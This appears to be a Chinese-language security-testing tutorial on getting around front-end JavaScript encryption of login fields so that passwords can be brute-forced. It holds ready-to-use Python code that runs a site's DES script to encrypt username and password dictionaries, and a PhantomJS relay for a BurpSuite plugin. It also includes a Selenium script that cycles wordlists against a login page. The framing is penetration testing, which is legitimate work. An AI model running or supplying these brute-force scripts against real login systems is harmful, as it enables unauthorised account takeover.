突破前端加密方法总结
字数 1065 2025-08-25 22:58:29
突破前端加密方法总结
0x00 执行加密的JS文件生成加密内容
方法概述
当遇到前端加密传输(如密码加密)时,可以通过执行加密的JS文件来生成加密内容。例如,网站可能使用des.js这样的加密文件对密码进行加密。
实现步骤
-
获取加密JS文件:从页面源代码中找到加密JS文件(如
https://yyy.xxx.com/assets/des/des.js) -
安装必要工具:
pip install PyExecJS # 可选安装PhantomJS -
Python脚本实现:
import execjs def mzDes(s, para): despara = execjs.get('phantomjs').compile(s).call("strEnc", para, "csc", "mz", "2017") return despara with open('des.js', 'r') as mzCrypto: s = mzCrypto.read() # 加密用户名 with open('users.txt', 'r') as users: with open('des_users.txt', 'w') as f4DesUser: for u in users: uname = u.strip() desUsername = mzDes(s, uname) f4DesUser.write(desUsername+'\n') # 加密密码 with open('pwdTop54.txt', 'r') as pwds: with open('des_pwds.txt', 'w') as f4DesPwd: for p in pwds: passwd = p.strip() desPassword = mzDes(s, passwd) f4DesPwd.write(desPassword+'\n') -
爆破应用:
- 使用BurpSuite加载加密后的字典进行爆破
- 或使用Python脚本实现单线程爆破
0x01 BurpSuite插件jsEncrypter
安装配置
- 安装PhantomJS
- 下载jsEncrypter插件:https://github.com/c0ny1/jsEncrypter
实现方法
-
编写对应的
jsEncrypter_des.js:var webserver = require('webserver'); server = webserver.create(); var host = '127.0.0.1'; var port = '1664'; // 加载加密JS var wasSuccessful = phantom.injectJs('des.js'); function js_encrypt(payload){ return strEnc(payload,"key","para0","para1"); } var service = server.listen(host+':'+port,function(request, response){ try{ if(request.method == 'POST'){ var payload = request.post['payload']; var encrypt_payload = js_encrypt(payload); response.statusCode = 200; response.write(encrypt_payload.toString()); response.close(); } }catch(e){ phantom.exit(); } }); -
启动服务后,在BurpSuite中使用jsEncrypter插件
0x02 理解JS加密算法
常见方法
- 简单加密:如MD5/SHA1,可直接用Python实现
- 复杂加密:需要调试JS代码
- BurpSuite自带功能:Intruder模块提供多种加密选项
处理技巧
- 对于混淆的JS代码,可以使用AST反混淆工具
- 使用浏览器开发者工具调试加密过程
0x03 浏览器自动化爆破
使用Selenium实现
-
安装配置:
pip install selenium # 下载对应浏览器驱动并加入环境变量 -
基础爆破脚本:
from selenium import webdriver import time def BruteLogin(user, pwd): browser.get('http://xxx.cn/manage/login.aspx') browser.find_element_by_name("name").send_keys(user) browser.find_element_by_name("pws").send_keys(pwd) browser.find_element_by_id("submit").click() time.sleep(1) if '当前用户' in browser.page_source: print('Login Success:' + user + '|' + pwd) browser = webdriver.Chrome() with open('usernameTop500.txt','r') as fuser: for user in fuser: with open('topwdglobal.txt','r') as fpwd: for pwd in fpwd: BruteLogin(user.strip(), pwd.strip()) browser.quit() -
处理复杂元素:
- 使用ActionChains处理不能直接定位的元素
from selenium.webdriver.common import action_chains, keys action = action_chains.ActionChains(browser) action.send_keys("document.getElementsByName('btn_submit')[0].click()"+keys.Keys.ENTER) action.perform()
0x04 其他方法
1. 中间服务器
搭建中继服务进行加密后再转发给目标服务器
2. 断点调试JS
- 使用浏览器开发者工具设置断点
- 修改关键参数值
3. Fiddler替换JS
- 使用Fiddler拦截并替换JS文件
4. 油猴脚本Hook
- 编写油猴脚本Hook关键加密函数
注意事项
- 动态因子处理:如遇到结合cookie或请求参数中动态值的加密,需要根据实际情况调整爆破脚本
- 性能优化:Python执行JS效率不高时,可考虑:
- 使用Node.js编写API服务
- 多线程/多进程处理
- 混淆JS处理:对于混淆的JS代码,可以使用:
- AST反混淆工具
- 动态调试分析
工具推荐
- PyExecJS:执行JS代码
- PhantomJS:无头浏览器
- Selenium:浏览器自动化
- jsEncrypter:BurpSuite插件
- Fiddler:HTTP调试代理
- 油猴脚本:Hook关键函数
通过以上方法,可以有效应对各种前端加密场景,实现安全测试目的。